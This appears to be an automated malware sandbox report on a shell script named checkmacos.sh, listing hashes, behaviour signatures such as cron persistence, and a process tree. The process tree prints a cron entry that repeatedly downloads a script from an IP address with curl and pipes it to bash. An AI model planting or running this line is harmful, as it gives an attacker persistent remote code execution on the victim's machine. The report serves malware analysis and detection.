Analysis

  • max time kernel
    0s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20251231-en
  • resource tags

    arch:armhfimage:debian9-armhf-20251231-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/01/2026, 16:20

General

  • Target
    checkmacos.sh
  • Size 993B
  • Sample260113-ttd75act8f
  • SHA256 0ffa6dafa8c65e522224da55752e0b4b8b5fb386719a866247e40e788f5fa0d1
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/checkmacos.sh
    /tmp/checkmacos.sh
    1⤵
      PID:654
      • /bin/grep
        grep -Fq "*/5 * * * * /usr/bin/bash -c 'cd /tmp && bash <(curl -s http://149.28.129.194/checkmacos.sh)' &"
        2⤵
          PID:662
        • /usr/bin/crontab
          crontab -l
          2⤵
            PID:661
          • /usr/bin/crontab
            crontab -
            2⤵
            • Creates/modifies Cron job
            • Reads runtime system information
            PID:671
          • /usr/bin/crontab
            crontab -l
            2⤵
            • Reads runtime system information
            PID:673
          • /usr/bin/pgrep
            pgrep -f macos
            2⤵
            • Reads CPU attributes
            • Reads runtime system information
            PID:679

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              tmp.Pa4Sf9

              • Path /var/spool/cron/crontabs/tmp.Pa4Sf9
              • Size 271B
              • SHA256 a1b5d5510f858f5df7bb95094b1a8f68af76c7dcf6638ce1cea79777c589be6e
              • MD5 SHA1 SHA512 TLSH